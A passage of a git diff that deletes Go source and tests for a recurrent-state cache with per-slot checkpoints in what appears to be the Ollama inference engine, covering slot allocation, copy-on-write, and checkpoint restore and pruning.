append(c.curSlots, slot) - } - - if len(newSlots) > 0 { - c.zeroSlots(ctx, newSlots) - } - - c.finalizeStartForward(ctx, batch, false) - - return nil -} - -func (c *Recurrent) startForwardSingleSeq(ctx ml.Context, seq, seqTokens int, batch input.Batch, reserve bool) error { - c.curSeqs = append(c.curSeqs[:0], seq) - c.curSeqTokens = seqTokens - - if reserve { - c.curSlots = append(c.curSlots[:0], 0) - c.finalizeStartForward(ctx, batch, true) - return nil - } - - slot, ok := c.slotForSeq[seq] - if !ok { - var err error - slot, err = c.allocSlot() - if err != nil { - return err - } - - c.slotForSeq[seq] = slot - c.refCount[slot] = 1 - slotList := [1]int{slot} - c.zeroSlots(ctx, slotList[:]) - } - - c.curSlots = append(c.curSlots[:0], slot) - c.finalizeStartForward(ctx, batch, false) - - return nil -} - -func (c *Recurrent) finalizeStartForward(ctx ml.Context, batch input.Batch, reserve bool) { - c.setCurSlotsInput(ctx) - c.writableEnsured = false - c.writableError = nil - c.reserveCheckpoints = reserve - c.planCheckpoints(batch) -} - -func (c *Recurrent) setCurSlotsInput(ctx ml.Context) { - c.curSlotsInput = c.slotsInput(ctx, c.curSlots) -} - -func (c *Recurrent) slotsInput(ctx ml.Context, slots []int) ml.Tensor { - switch len(slots) { - case 0: - return nil - case 1: - c.slotScratch[0] = int32(slots[0]) - return ctx.Input().FromInts(c.slotScratch[:], 1) - default: - slotIndices := make([]int32, len(slots)) - for i, v := range slots { - slotIndices[i] = int32(v) - } - return ctx.Input().FromInts(slotIndices, len(slotIndices)) - } -} - -func (c *Recurrent) allocSlot() (int, error) { - if len(c.freeSlots) == 0 { - return 0, ErrKvCacheFull - } - slot := c.freeSlots[len(c.freeSlots)-1] - c.freeSlots = c.freeSlots[:len(c.freeSlots)-1] - return slot, nil -} - -func (c *Recurrent) freeSlot(slot int) { - if slot >= 0 && slot < c.maxSequences { - c.freeSlots = append(c.freeSlots, slot) - } -} - -// zeroSlots zeros recurrent state for the given slots across all cached layers. -func (c *Recurrent) zeroSlots(ctx ml.Context, slots []int) { - if len(slots) == 0 { - return - } - - inputCtx := ctx.Input() - slotsTensor := c.slotsInput(ctx, slots) - - if len(c.convStates) > 0 { - zeros := inputCtx.Zeros(ml.DTypeF32, c.convDim*c.convChannels, len(slots)) - for _, buf := range c.convStates { - ctx.Forward(buf.SetRows(ctx, zeros, slotsTensor)) - } - } - - if len(c.recurrentStates) > 0 { - zeros := inputCtx.Zeros(ml.DTypeF32, c.recurrentStateSize, len(slots)) - for _, buf := range c.recurrentStates { - ctx.Forward(buf.SetRows(ctx, zeros, slotsTensor)) - } - } -} - -// EnsureWritable ensures sequences have private slots (copy-on-write). -func (c *Recurrent) EnsureWritable(ctx ml.Context) error { - for i, seq := range c.curSeqs { - slot, ok := c.slotForSeq[seq] - if !ok { - continue - } - - if slot < 0 || slot >= len(c.refCount) { - continue - } - - if c.refCount[slot] <= 1 { - continue - } - - newSlot, err := c.allocSlot() - if err != nil { - return err - } - c.refCount[slot]-- - c.refCount[newSlot] = 1 - c.slotForSeq[seq] = newSlot - c.curSlots[i] = newSlot - - c.copyRecurrentState(ctx, slot, newSlot) - c.copyCheckpoints(ctx, slot, newSlot) - } - - c.setCurSlotsInput(ctx) - - return nil -} - -func (c *Recurrent) copyRecurrentState(ctx ml.Context, srcSlot, dstSlot int) { - src := ctx.Input().FromInts([]int32{int32(srcSlot)}, 1) - dst := ctx.Input().FromInts([]int32{int32(dstSlot)}, 1) - - for _, buf := range c.convStates { - rows := buf.Rows(ctx, src) - if rows.DType() != ml.DTypeF32 { - rows = rows.Cast(ctx, ml.DTypeF32) - } - ctx.Forward(buf.SetRows(ctx, rows, dst)) - } - - for _, buf := range c.recurrentStates { - rows := buf.Rows(ctx, src) - if rows.DType() != ml.DTypeF32 { - rows = rows.Cast(ctx, ml.DTypeF32) - } - ctx.Forward(buf.SetRows(ctx, rows, dst)) - } -} - -func (c *Recurrent) CopyPrefix(srcSeq, dstSeq int, prefixLen int32) { - c.kv.CopyPrefix(srcSeq, dstSeq, prefixLen) - - if dstSlot, ok := c.slotForSeq[dstSeq]; ok { - if c.validSlot(dstSlot) { - c.refCount[dstSlot]-- - if c.refCount[dstSlot] <= 0 { - c.refCount[dstSlot] = 0 - c.freeSlot(dstSlot) - } - } - delete(c.slotForSeq, dstSeq) - } - - srcSlot, ok := c.slotForSeq[srcSeq] - if !ok { - return - } - - if c.validSlot(srcSlot) { - c.slotForSeq[dstSeq] = srcSlot - c.refCount[srcSlot]++ - } -} - -func (c *Recurrent) CanResume(seq int, pos int32) bool { - if !c.kv.CanResume(seq, pos) { - return false - } - if pos == 0 { - return true - } - return c.hasCheckpoint(seq, pos) -} - -func (c *Recurrent) Remove(seq int, beginIndex, endIndex int32) error { - if beginIndex > 0 && endIndex != math.MaxInt32 { - if err := c.kv.Remove(seq, beginIndex, endIndex); err != nil { - return err - } - delete(c.pendingRestore, seq) - - slot, ok := c.slotForSeq[seq] - if !ok || !c.validSlot(slot) { - return nil - } - - // Detach shared recurrent state/checkpoints before mutating checkpoint positions. - if c.refCount[slot] > 1 { - newSlot, err := c.allocSlot() - if err != nil { - return err - } - ctx := c.backend.NewContext() - c.copyRecurrentState(ctx, slot, newSlot) - c.copyCheckpoints(ctx, slot, newSlot) - if len(c.convStates) > 0 || len(c.recurrentStates) > 0 { - ctx.Compute() - } - ctx.Close() - - c.refCount[slot]-- - c.refCount[newSlot] = 1 - c.slotForSeq[seq] = newSlot - slot = newSlot - } - - c.shiftCheckpoints(slot, beginIndex, endIndex) - return nil - } - - if beginIndex > 0 { - restore, ok := c.pendingRestore[seq] - if !ok || restore.pos+1 != beginIndex { - return ErrNotSupported - } - if !c.restoreComplete(restore) { - return ErrNotSupported - } - if slot, ok := c.slotForSeq[seq]; ok && c.validSlot(slot) && c.refCount[slot] > 1 { - newSlot, err := c.allocSlot() - if err != nil { - return err - } - ctx := c.backend.NewContext() - c.copyRecurrentState(ctx, slot, newSlot) - c.copyCheckpoints(ctx, slot, newSlot) - if len(c.convStates) > 0 || len(c.recurrentStates) > 0 { - ctx.Compute() - } - ctx.Close() - - c.refCount[slot]-- - c.refCount[newSlot] = 1 - c.slotForSeq[seq] = newSlot - - restore.slot = newSlot - c.pendingRestore[seq] = restore - } - } - - if err := c.kv.Remove(seq, beginIndex, endIndex); err != nil { - return err - } - - if beginIndex > 0 { - restore := c.pendingRestore[seq] - delete(c.pendingRestore, seq) - return c.applyCheckpointRestore(restore) - } - - slot, ok := c.slotForSeq[seq] - delete(c.pendingRestore, seq) - if !ok { - return nil - } - - if !c.validSlot(slot) { - delete(c.slotForSeq, seq) - return nil - } - - c.refCount[slot]-- - if c.refCount[slot] <= 0 { - c.refCount[slot] = 0 - c.clearCheckpoints(slot) - c.freeSlot(slot) - } - delete(c.slotForSeq, seq) - - return nil -} - -func (c *Recurrent) validSlot(slot int) bool { - return slot >= 0 && slot < len(c.refCount) -} - -func (c *Recurrent) SlotsTensor() ml.Tensor { - return c.curSlotsInput -} - -// contiguousSlots returns the starting slot if current slots are contiguous and ordered. -func (c *Recurrent) contiguousSlots() (int, bool) { - if len(c.curSlots) == 0 { - return 0, false - } - start := c.curSlots[0] - for i, s := range c.curSlots { - if s != start+i { - return 0, false - } - } - return start, true -} - -func (c *Recurrent) SeqTokens() int { - return c.curSeqTokens -} - -func (c *Recurrent) NumSeqs() int { - return len(c.curSeqs) -} - -func (c *Recurrent) convBuffer(layer int) ml.Tensor { - if buf, ok := c.convStates[layer]; ok { - return buf - } - - if _, ok := c.convCtxs[layer]; !ok { - c.convCtxs[layer] = c.backend.NewContextSize(1).Layer(layer) - } - - buf := c.convCtxs[layer].Zeros(ml.DTypeF32, c.convDim*c.convChannels, c.maxSequences) - c.convStates[layer] = buf - return buf -} - -func (c *Recurrent) recurrentBuffer(layer int) ml.Tensor { - if buf, ok := c.recurrentStates[layer]; ok { - return buf - } - - if _, ok := c.recurrentCtxs[layer]; !ok { - c.recurrentCtxs[layer] = c.backend.NewContextSize(1).Layer(layer) - } - - buf := c.recurrentCtxs[layer].Zeros(ml.DTypeF32, c.recurrentStateSize, c.maxSequences) - c.recurrentStates[layer] = buf - return buf -} - -func (c *Recurrent) ensureWritable(ctx ml.Context) error { - c.ensureWritableOnce(ctx) - return c.writableError -} - -func (c *Recurrent) currentSlotRows(ctx ml.Context, buf ml.Tensor, rowSize int) ml.Tensor { - if start, ok := c.contiguousSlots(); ok { - offset := start * buf.Stride(1) - return buf.View(ctx, offset, rowSize, buf.Stride(1), c.NumSeqs()) - } - - return buf.Rows(ctx, c.SlotsTensor()) -} - -func (c *Recurrent) writeCurrentSlotRows(ctx ml.Context, buf ml.Tensor, rowSize int, src ml.Tensor) { - if start, ok := c.contiguousSlots(); ok { - offset := start * buf.Stride(1) - view := buf.View(ctx, offset, rowSize, buf.Stride(1), c.NumSeqs()) - ctx.Forward(src.Copy(ctx, view)) - return - } - - ctx.Forward(buf.SetRows(ctx, src, c.SlotsTensor())) -} - -func (c *Recurrent) ensureWritableOnce(ctx ml.Context) { - if !c.writableEnsured { - needsWritable := false - for _, seq := range c.curSeqs { - slot, ok := c.slotForSeq[seq] - if !ok { - continue - } - if slot >= 0 && slot < len(c.refCount) && c.refCount[slot] > 1 { - needsWritable = true - break - } - } - - if needsWritable { - if err := c.EnsureWritable(ctx); err != nil { - c.writableError = err - } - } - c.writableEnsured = true - } -} - -// ConvState returns conv state for current batch sequences as [convDim, convChannels, nSeqs]. -func (c *Recurrent) ConvState(ctx ml.Context, layer int) (ml.Tensor, error) { - if err := c.ensureWritable(ctx); err != nil { - return nil, err - } - - buf := c.convBuffer(layer) - cur := c.currentSlotRows(ctx, buf, c.convDim*c.convChannels) - return cur.Reshape(ctx, c.convDim, c.convChannels, c.NumSeqs()), nil -} - -// UpdateConvState writes new conv state for current batch sequences. -func (c *Recurrent) UpdateConvState(ctx ml.Context, layer int, newState ml.Tensor) { - buf := c.convBuffer(layer) - src := newState.Reshape(ctx, c.convDim*c.convChannels, c.NumSeqs()) - srcF32 := src - if src.DType() != ml.DTypeF32 { - srcF32 = src.Cast(ctx, ml.DTypeF32) - } - c.writeCurrentSlotRows(ctx, buf, c.convDim*c.convChannels, srcF32) - - c.captureConvCheckpoint(ctx, layer, srcF32) -} - -// RecurrentState returns recurrent state for current batch sequences with shape [dims..., nSeqs]. -func (c *Recurrent) RecurrentState(ctx ml.Context, layer int, dims ...int) (ml.Tensor, error) { - if err := c.ensureWritable(ctx); err != nil { - return nil, err - } - if len(dims) == 0 { - return nil, ErrInvalidRecurrentShape - } - - size := 1 - for _, d := range dims { - if d <= 0 { - return nil, ErrInvalidRecurrentShape - } - size *= d - } - if size != c.recurrentStateSize { - return nil, fmt.Errorf("%w: got %v (size %d), want size %d", ErrInvalidRecurrentShape, dims, size, c.recurrentStateSize) - } - - buf := c.recurrentBuffer(layer) - cur := c.currentSlotRows(ctx, buf, c.recurrentStateSize) - shape := make([]int, 0, len(dims)+1) - shape = append(shape, dims...) - shape = append(shape, c.NumSeqs()) - return cur.Reshape(ctx, shape...), nil -} - -// RecurrentState4D returns recurrent state as [dim0, dim1, dim2, nSeqs]. -func (c *Recurrent) RecurrentState4D(ctx ml.Context, layer int, dim0, dim1, dim2 int) (ml.Tensor, error) { - if err := c.ensureWritable(ctx); err != nil { - return nil, err - } - if dim0 <= 0 || dim1 <= 0 || dim2 <= 0 { - return nil, ErrInvalidRecurrentShape - } - - size := dim0 * dim1 * dim2 - if size != c.recurrentStateSize { - return nil, fmt.Errorf("%w: got [%d %d %d] (size %d), want size %d", ErrInvalidRecurrentShape, dim0, dim1, dim2, size, c.recurrentStateSize) - } - - buf := c.recurrentBuffer(layer) - cur := c.currentSlotRows(ctx, buf, c.recurrentStateSize) - return cur.Reshape(ctx, dim0, dim1, dim2, c.NumSeqs()), nil -} - -// UpdateRecurrentState writes new recurrent state for current batch sequences. -func (c *Recurrent) UpdateRecurrentState(ctx ml.Context, layer int, newState ml.Tensor) { - buf := c.recurrentBuffer(layer) - src := newState.Reshape(ctx, c.recurrentStateSize, c.NumSeqs()) - srcF32 := src - if src.DType() != ml.DTypeF32 { - srcF32 = src.Cast(ctx, ml.DTypeF32) - } - c.writeCurrentSlotRows(ctx, buf, c.recurrentStateSize, srcF32) - - c.captureRecurrentCheckpoint(ctx, layer, srcF32) -} - -// IsSupportedForBatch returns true if the current batch layout supports recurrent layers. -func (c *Recurrent) IsSupportedForBatch() bool { - return c.curSeqTokens > 0 && len(c.curSeqs) > 0 -} - -// Seqs returns the ordered unique sequences for the current forward pass. -func (c *Recurrent) Seqs() []int { - return slices.Clone(c.curSeqs) -} diff --git a/kvcache/recurrent_checkpoints.go b/kvcache/recurrent_checkpoints.go deleted file mode 100644 index 1e029a5b3..000000000 --- a/kvcache/recurrent_checkpoints.go +++ /dev/null @@ -1,561 +0,0 @@ -package kvcache - -import ( - "log/slog" - "math" - - "github.com/ollama/ollama/ml" - "github.com/ollama/ollama/model/input" -) - -// TODO(jmorganca): Add byte-serialized host-RAM checkpoints to reduce GPU -// memory usage while preserving prefix reuse for recurrent state. - -type checkpointEntry struct { - pos int32 - conv map[int]ml.Tensor - recurrent map[int]ml.Tensor -} - -type slotCheckpointStore struct { - entries []checkpointEntry - size int - next int - lastPos int32 -} - -type checkpointRestore struct { - slot int - idx int - pos int32 -} - -func newSlotCheckpointStore(n int) *slotCheckpointStore { - entries := make([]checkpointEntry, n) - for i := range entries { - entries[i].pos = -1 - } - return &slotCheckpointStore{ - entries: entries, - lastPos: -1, - } -} - -func (s *slotCheckpointStore) reset() { - s.size = 0 - s.next = 0 - s.lastPos = -1 - for i := range s.entries { - s.entries[i].pos = -1 - } -} - -func (s *slotCheckpointStore) record(pos int32) int { - if len(s.entries) == 0 { - return -1 - } - idx := s.next - s.next = (s.next + 1) % len(s.entries) - if s.size < len(s.entries) { - s.size++ - } - s.entries[idx].pos = pos - s.lastPos = pos - return idx -} - -func (s *slotCheckpointStore) bestIndex(targetPos int32) (int, int32, bool) { - bestIdx := -1 - bestPos := int32(-1) - for i := range s.entries { - pos := s.entries[i].pos - if pos < 0 || pos >= targetPos { - continue - } - if pos > bestPos { - bestPos = pos - bestIdx = i - } - } - if bestIdx < 0 { - return -1, -1, false - } - return bestIdx, bestPos, true -} - -func (s *slotCheckpointStore) pruneAfter(pos int32) { - if len(s.entries) == 0 { - s.size = 0 - s.next = 0 - s.lastPos = -1 - return - } - - size := 0 - next := -1 - minPos := int32(math.MaxInt32) - minIdx := 0 - for i := range s.entries { - if s.entries[i].pos > pos { - s.entries[i].pos = -1 - } - if s.entries[i].pos >= 0 { - size++ - if s.entries[i].pos < minPos { - minPos = s.entries[i].pos - minIdx = i - } - } else if next == -1 { - next = i - } - } - - s.size = size - if size == 0 { - s.next = 0 - s.lastPos = -1 - return - } - if next != -1 { - s.next = next - } else { - // Full ring: overwrite the oldest checkpoint next. - s.next = minIdx - } - s.lastPos = pos -} - -func (s *slotCheckpointStore) shiftRange(beginIndex, endIndex int32) { - if len(s.entries) == 0 { - s.size = 0 - s.next = 0 - s.lastPos = -1 - return - } - - offset := beginIndex - endIndex - - size := 0 - next := -1 - minPos := int32(math.MaxInt32) - maxPos := int32(-1) - minIdx := 0 - - for i := range s.entries { - pos := s.entries[i].pos - if pos >= 0 { - if pos >= beginIndex && pos < endIndex { - s.entries[i].pos = -1 - } else if pos >= endIndex { - s.entries[i].pos = pos + offset - } - } - - pos = s.entries[i].pos - if pos >= 0 { - size++ - if pos < minPos { - minPos = pos - minIdx = i - } - if pos > maxPos { - maxPos = pos - } - } else if next == -1 { - next = i - } - } - - s.size = size - if size == 0 { - s.next = 0 - s.lastPos = -1 - return - } - - if next != -1 { - s.next = next - } else { - // Full ring: overwrite the oldest checkpoint next. - s.next = minIdx - } - s.lastPos = maxPos -} - -func (s *slotCheckpointStore) window() (size int, minPos, maxPos, lastPos int32) { - minPos = int32(math.MaxInt32) - maxPos = int32(-1) - for i := range s.entries { - pos := s.entries[i].pos - if pos < 0 { - continue - } - size++ - if pos < minPos { - minPos = pos - } - if pos > maxPos { - maxPos = pos - } - } - if size == 0 { - minPos = -1 - maxPos = -1 - } - return size, minPos, maxPos, s.lastPos -} - -func (c *Recurrent) checkpointTag() string { - if c.logPrefix == "" { - return "kvcache.recurrent" - } - return c.logPrefix -} - -func (c *Recurrent) planCheckpoints(batch input.Batch) { - if c.checkpointCount == 0 || len(c.curSeqs) == 0 { - c.curCheckpointPos = c.curCheckpointPos[:0] - for k := range c.curCheckpointSlots { - delete(c.curCheckpointSlots, k) - } - return - } - - if cap(c.curCheckpointPos) < len(c.curSeqs) { - c.curCheckpointPos = make([]int32, len(c.curSeqs)) - } else { - c.curCheckpointPos = c.curCheckpointPos[:len(c.curSeqs)] - } - for i := range c.curCheckpointPos { - c.curCheckpointPos[i] = -1 - } - for k := range c.curCheckpointSlots { - delete(c.curCheckpointSlots, k) - } - - posMax := make(map[int]int32, len(c.curSeqs)) - for i, seq := range batch.Sequences { - pos := batch.Positions[i] - if cur, ok := posMax[seq]; !ok || pos > cur { - posMax[seq] = pos - } - } - - for i, seq := range c.curSeqs { - pos, ok := posMax[seq] - if !ok { - continue - } - if pos < c.checkpointMinPos { - continue - } - slot := c.curSlots[i] - store := c.checkpointStore(slot) - lastPos := store.lastPos - if lastPos < 0 || pos-lastPos >= c.checkpointInterval { - c.curCheckpointPos[i] = pos - } - } -} - -func (c *Recurrent) checkpointStore(slot int) *slotCheckpointStore { - store, ok := c.checkpoints[slot] - if ok { - return store - } - store = newSlotCheckpointStore(c.checkpointCount) - c.checkpoints[slot] = store - return store -} - -func (c *Recurrent) checkpointIndexForSlot(slot int, pos int32) int { - if c.checkpointCount == 0 { - return -1 - } - if idx, ok := c.curCheckpointSlots[slot]; ok { - return idx - } - store := c.checkpointStore(slot) - idx := store.record(pos) - if idx >= 0 { - c.curCheckpointSlots[slot] = idx - } - return idx -} - -func (c *Recurrent) hasCheckpoint(seq int, pos int32) bool { - if pos <= 0 { - return false - } - slot, ok := c.slotForSeq[seq] - if !ok { - return false - } - store, ok := c.checkpoints[slot] - if !ok { - return false - } - _, _, ok = store.bestIndex(pos) - return ok -} - -func (c *Recurrent) PrepareRestore(seq int, targetPos int32) (int32, bool) { - if targetPos <= 0 { - return 0, false - } - slot, ok := c.slotForSeq[seq] - if !ok { - return 0, false - } - store, ok := c.checkpoints[slot] - if !ok { - slog.Debug(c.checkpointTag()+": checkpoint miss", "seq", seq, "slot", slot, "target", targetPos, "size", 0) - return 0, false - } - idx, pos, ok := store.bestIndex(targetPos) - if !ok { - size, minPos, maxPos, lastPos := store.window() - slog.Debug(c.checkpointTag()+": checkpoint miss", "seq", seq, "slot", slot, "target", targetPos, "size", size, - "min", minPos, "max", maxPos, "last", lastPos) - return 0, false - } - c.pendingRestore[seq] = checkpointRestore{ - slot: slot, - idx: idx, - pos: pos, - } - return pos + 1, true -} - -func (c *Recurrent) applyCheckpointRestore(restore checkpointRestore) error { - entry, ok := c.restoreEntry(restore) - if !ok { - return ErrNotSupported - } - - ctx := c.backend.NewContext() - defer ctx.Close() - - slotIdx := ctx.Input().FromInts([]int32{int32(restore.slot)}, 1) - for layer, src := range entry.conv { - buf := c.convBuffer(layer) - ctx.Forward(buf.SetRows(ctx, src, slotIdx)) - } - for layer, src := range entry.recurrent { - buf := c.recurrentBuffer(layer) - ctx.Forward(buf.SetRows(ctx, src, slotIdx)) - } - - if len(entry.conv) > 0 || len(entry.recurrent) > 0 { - ctx.Compute() - } - store := c.checkpoints[restore.slot] - store.pruneAfter(restore.pos) - return nil -} - -func (c *Recurrent) restoreComplete(restore checkpointRestore) bool { - _, ok := c.restoreEntry(restore) - return ok -} - -func (c *Recurrent) restoreEntry(restore checkpointRestore) (*checkpointEntry, bool) { - store, ok := c.checkpoints[restore.slot] - if !ok || restore.idx < 0 || restore.idx >= len(store.entries) { - return nil, false - } - entry := &store.entries[restore.idx] - if entry.pos < 0 { - return nil, false - } - if !c.entryComplete(entry) { - return nil, false - } - return entry, true -} - -func (c *Recurrent) entryComplete(entry *checkpointEntry) bool { - for layer := range c.convStates { - if entry.conv == nil || entry.conv[layer] == nil { - return false - } - } - for layer := range c.recurrentStates { - if entry.recurrent == nil || entry.recurrent[layer] == nil { - return false - } - } - return true -} - -func (c *Recurrent) clearCheckpoints(slot int) { - if store, ok := c.checkpoints[slot]; ok { - store.reset() - } -} - -func (c *Recurrent) shiftCheckpoints(slot int, beginIndex, endIndex int32) { - if store, ok := c.checkpoints[slot]; ok { - store.shiftRange(beginIndex, endIndex) - } -} - -func (c *Recurrent) copyCheckpoints(ctx ml.Context, srcSlot, dstSlot int) { - if c.checkpointCount == 0 { - return - } - srcStore, ok := c.checkpoints[srcSlot] - if !ok || srcStore.size == 0 { - return - } - dstStore := c.checkpointStore(dstSlot) - dstStore.size = srcStore.size - dstStore.next = srcStore.next - dstStore.lastPos = srcStore.lastPos - - for i := range srcStore.entries { - srcEntry := &srcStore.entries[i] - dstEntry := &dstStore.entries[i] - dstEntry.pos = srcEntry.pos - if srcEntry.conv != nil { - if dstEntry.conv == nil { - dstEntry.conv = make(map[int]ml.Tensor) - } - for layer, src := range srcEntry.conv { - dst := c.ensureCheckpointConv(layer, dstEntry) - ctx.Forward(src.Copy(ctx, dst)) - } - } - if srcEntry.recurrent != nil { - if dstEntry.recurrent == nil { - dstEntry.recurrent = make(map[int]ml.Tensor) - } - for layer, src := range srcEntry.recurrent { - dst := c.ensureCheckpointRecurrent(layer, dstEntry) - ctx.Forward(src.Copy(ctx, dst)) - } - } - } -} - -func (c *Recurrent) captureConvCheckpoint(ctx ml.Context, layer int, src ml.Tensor) { - if c.checkpointCount == 0 { - return - } - if c.reserveCheckpoints { - c.reserveCheckpointConv(layer) - return - } - if len(c.curCheckpointPos) == 0 { - return - } - for i, pos := range c.curCheckpointPos { - if pos < 0 { - continue - } - slot := c.curSlots[i] - idx := c.checkpointIndexForSlot(slot, pos) - if idx < 0 { - continue - } - entry := &c.checkpoints[slot].entries[idx] - dst := c.ensureCheckpointConv(layer, entry) - seqSlice := src.Slice(ctx, 1, i, i+1, 1) - ctx.Forward(seqSlice.Copy(ctx, dst)) - } -} - -func (c *Recurrent) captureRecurrentCheckpoint(ctx ml.Context, layer int, src ml.Tensor) { - if c.checkpointCount == 0 { - return - } - if c.reserveCheckpoints { - c.reserveCheckpointRecurrent(layer) - return - } - if len(c.curCheckpointPos) == 0 { - return - } - for i, pos := range c.curCheckpointPos { - if pos < 0 { - continue - } - slot := c.curSlots[i] - idx := c.checkpointIndexForSlot(slot, pos) - if idx < 0 { - continue - } - entry := &c.checkpoints[slot].entries[idx] - dst := c.ensureCheckpointRecurrent(layer, entry) - seqSlice := src.Slice(ctx, 1, i, i+1, 1) - ctx.Forward(seqSlice.Copy(ctx, dst)) - } -} - -func (c *Recurrent) ensureCheckpointConv(layer int, entry *checkpointEntry) ml.Tensor { - if entry.conv == nil { - entry.conv = make(map[int]ml.Tensor) - } - if t, ok := entry.conv[layer]; ok { - return t - } - ctx, ok := c.checkpointConvCtxs[layer] - if !ok { - ctx = c.backend.NewContextSize(c.checkpointCtxSize).Layer(layer) - c.checkpointConvCtxs[layer] = ctx - } - t := ctx.Zeros(ml.DTypeF32, c.convDim*c.convChannels, 1) - entry.conv[layer] = t - return t -} - -func (c *Recurrent) ensureCheckpointRecurrent(layer int, entry *checkpointEntry) ml.Tensor { - if entry.recurrent == nil { - entry.recurrent = make(map[int]ml.Tensor) - } - if t, ok := entry.recurrent[layer]; ok { - return t - } - ctx, ok := c.checkpointRecurCtxs[layer] - if !ok { - ctx = c.backend.NewContextSize(c.checkpointCtxSize).Layer(layer) - c.checkpointRecurCtxs[layer] = ctx - } - t := ctx.Zeros(ml.DTypeF32, c.recurrentStateSize, 1) - entry.recurrent[layer] = t - return t -} - -func (c *Recurrent) reserveCheckpointConv(layer int) { - key := checkpointReserveKey(layer, 0) - if _, ok := c.checkpointReserved[key]; ok { - return - } - for slot := range c.maxSequences { - store := c.checkpointStore(slot) - for i := range store.entries { - entry := &store.entries[i] - _ = c.ensureCheckpointConv(layer, entry) - } - } - c.checkpointReserved[key] = struct{}{} -} - -func (c *Recurrent) reserveCheckpointRecurrent(layer int) { - key := checkpointReserveKey(layer, 1) - if _, ok := c.checkpointReserved[key]; ok { - return - } - for slot := range c.maxSequences { - store := c.checkpointStore(slot) - for i := range store.entries { - entry := &store.entries[i] - _ = c.ensureCheckpointRecurrent(layer, entry) - } - } - c.checkpointReserved[key] = struct{}{} -} - -func checkpointReserveKey(layer int, kind int) int { - return layer*2 + kind -} diff --git a/kvcache/recurrent_checkpoints_test.go b/kvcache/recurrent_checkpoints_test.go deleted file mode 100644 index cf7a7b99a..000000000 --- a/kvcache/recurrent_checkpoints_test.go +++ /dev/null @@ -1,288 +0,0 @@ -package kvcache - -import ( - "errors" - "math" - "slices" - "testing" - - "github.com/ollama/ollama/ml" -) - -func newTestCache() *Recurrent { - return NewRecurrentCache(RecurrentConfig{ConvDim: 1, ConvChannels: 2, RecurrentStateSize: 2}) -} - -func TestSlotCheckpointStoreBestIndex(t *testing.T) { - store := newSlotCheckpointStore(2) - store.record(10) - store.record(20) - - _, pos, ok := store.bestIndex(15) - if !ok || pos != 10 { - t.Fatalf("expected best pos 10, got pos=%d ok=%v", pos, ok) - } - - store.record(30) // overwrite oldest (10) - - if _, _, ok := store.bestIndex(15); ok { - t.Fatalf("expected no checkpoint for targetPos=15 after overwrite") - } - - _, pos, ok = store.bestIndex(40) - if !ok || pos != 30 { - t.Fatalf("expected best pos 30, got pos=%d ok=%v", pos, ok) - } -} - -func TestCachePrepareRestore(t *testing.T) { - cache := newTestCache() - cache.checkpointCount = 3 - cache.checkpoints = make(map[int]*slotCheckpointStore) - cache.pendingRestore = make(map[int]checkpointRestore) - - cache.slotForSeq[1] = 0 - store := cache.checkpointStore(0) - store.record(5) - store.record(9) - store.record(15) - - restorePos, ok := cache.PrepareRestore(1, 12) - if !ok { - t.Fatalf("expected restore ok") - } - if restorePos != 10 { - t.Fatalf("expected restorePos 10, got %d", restorePos) - } - rest, ok := cache.pendingRestore[1] - if !ok { - t.Fatalf("expected pending restore entry") - } - if rest.pos != 9 { - t.Fatalf("expected pending restore pos 9, got %d", rest.pos) - } -} - -func TestSlotCheckpointStorePruneAfter(t *testing.T) { - store := newSlotCheckpointStore(3) - store.record(10) - store.record(20) - store.record(30) - - store.pruneAfter(20) - - if store.lastPos != 20 { - t.Fatalf("expected lastPos 20, got %d", store.lastPos) - } - - _, pos, ok := store.bestIndex(25) - if !ok || pos != 20 { - t.Fatalf("expected best pos 20 after prune, got pos=%d ok=%v", pos, ok) - } - - _, pos, ok = store.bestIndex(35) - if !ok || pos != 20 { - t.Fatalf("expected pruned best pos 20 for targetPos=35, got pos=%d ok=%v", pos, ok) - } -} - -func TestCacheRestoreRejectsIncompleteCheckpoint(t *testing.T) { - cache := newTestCache() - cache.checkpointCount = 3 - cache.checkpoints = make(map[int]*slotCheckpointStore) - cache.pendingRestore = make(map[int]checkpointRestore) - - cache.slotForSeq[1] = 0 - cache.refCount = []int{1} - cache.freeSlots = nil - - // Simulate layer 0 requires both conv and recurrent checkpoints. - cache.convStates[0] = nil - cache.recurrentStates[0] = nil - - store := cache.checkpointStore(0) - idx := store.record(9) - entry := &store.entries[idx] - entry.conv = map[int]ml.Tensor{0: nil} - // entry.recurrent intentionally missing - - cache.pendingRestore[1] = checkpointRestore{slot: 0, idx: idx, pos: 9} - - err := cache.Remove(1, 10, math.MaxInt32) - if !errors.Is(err, ErrNotSupported) { - t.Fatalf("expected ErrNotSupported for incomplete checkpoint, got %v", err) - } -} - -func TestCacheRestoreAcceptsCompleteCheckpoint(t *testing.T) { - cache := newTestCache() - cache.checkpointCount = 3 - cache.checkpoints = make(map[int]*slotCheckpointStore) - cache.pendingRestore = make(map[int]checkpointRestore) - - cache.slotForSeq[1] = 0 - cache.refCount = []int{1} - cache.freeSlots = nil - - store := cache.checkpointStore(0) - idx := store.record(9) - - cache.pendingRestore[1] = checkpointRestore{slot: 0, idx: idx, pos: 9} - - restore := cache.pendingRestore[1] - if !cache.restoreComplete(restore) { - t.Fatalf("expected restoreComplete to return true for complete checkpoint") - } -} - -func TestCacheRecurrentStateShapeValidation(t *testing.T) { - cache := newTestCache() - _, err := cache.RecurrentState(nil, 0, 3) - if !errors.Is(err, ErrInvalidRecurrentShape) { - t.Fatalf("expected ErrInvalidRecurrentShape, got %v", err) - } -} - -func TestSlotCheckpointStoreShiftRange(t *testing.T) { - store := newSlotCheckpointStore(5) - store.record(1) - store.record(4) - store.record(7) - store.record(10) - - store.shiftRange(2, 6) - - var positions []int32 - for i := range store.entries { - if store.entries[i].pos >= 0 { - positions = append(positions, store.entries[i].pos) - } - } - slices.Sort(positions) - - want := []int32{1, 3, 6} - if !slices.Equal(positions, want) { - t.Fatalf("unexpected shifted positions: got=%v want=%v", positions, want) - } - if store.lastPos != 6 { - t.Fatalf("expected lastPos 6, got %d", store.lastPos) - } -} - -func TestCacheRemoveMiddleShiftsCheckpoints(t *testing.T) { - cache := newTestCache() - cache.slotForSeq[1] = 0 - cache.refCount = []int{1} - cache.pendingRestore[1] = checkpointRestore{slot: 0, idx: 0, pos: 1} - - store := cache.checkpointStore(0) - store.record(1) - store.record(4) - store.record(7) - store.record(10) - - if err := cache.Remove(1, 2, 6); err != nil { - t.Fatalf("expected middle remove to succeed, got %v", err) - } - - if _, ok := cache.pendingRestore[1]; ok { - t.Fatalf("expected pending restore to be cleared after middle remove") - } - - var positions []int32 - for i := range store.entries { - if store.entries[i].pos >= 0 { - positions = 